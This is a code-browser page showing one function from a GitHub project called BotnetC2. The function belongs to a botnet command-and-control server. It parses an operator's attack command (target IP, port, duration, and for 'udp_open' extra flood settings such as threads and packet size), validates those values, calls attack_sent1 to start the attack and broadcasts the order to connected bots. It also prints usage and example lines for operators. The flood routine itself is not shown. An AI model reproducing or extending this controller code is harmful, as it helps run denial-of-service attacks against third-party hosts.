MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / all_sent1

Function all_sent1

BOTNETc2/api.py:46–75  ·  view source on GitHub ↗
(args,mode, validate_ip, validate_port, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data)

Source from the content-addressed store, hash-verified

44 send(client, "# NOTE if you enter / end in url | botnet can't attack ")
45
46def all_sent1(args,mode, validate_ip, validate_port, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data):
47 mode_type = mode.split('.')
48 mode_type = mode_type[1].lower()
49 if mode_type == "udp_open":
50 args_load = 8
51 else:
52 args_load = 4
53 if len(args) == int(args_load):
54 print(args_load)
55 ip = args[1]
56 port = args[2]
57 secs = args[3]
58 if validate_ip(ip):
59 if validate_port(port):
60 if validate_time(secs):
61 send(client, ansi_clear, False)
62 attack_sent1(ip, port, secs, client)
63 broadcast(data)
64 else:
65 send(client, Fore.RED + 'Invalid attack duration (1-999999999999 seconds)')
66 else:
67 send(client, Fore.RED + 'Invalid port number (1-65535)')
68 else:
69 send(client, Fore.RED + 'Invalid IP-address')
70 else:
71 if mode_type == 'udp_open':
72 send(client, f'Usage: .{mode_type} [IP] [PORT] [TIME] [CONNECTION] [BOOTER_PACKET] [SPAM_THREAD] [SIZE]')
73 send(client, f'Example: .{mode_type} [IP] [PORT] [TIME] {random.randint(1,65536)} {random.randint(1,65536)} {random.randint(1,65536)} {random.randint(1,1314)}')
74 else:
75 send(client, f'Usage: .{mode_type} [IP] [PORT] [TIME]')
76
77def all_layer4(args,mode, validate_ip, validate_port, validate_time, validate_size, send, client, ansi_clear, attack_sent2, broadcast, data):
78 if len(args) == 6:

Callers 1

command_lineFunction · 0.70

Calls 6

validate_ipFunction · 0.70
validate_portFunction · 0.70
validate_timeFunction · 0.70
sendFunction · 0.70
attack_sent1Function · 0.70
broadcastFunction · 0.70

Tested by

no test coverage detected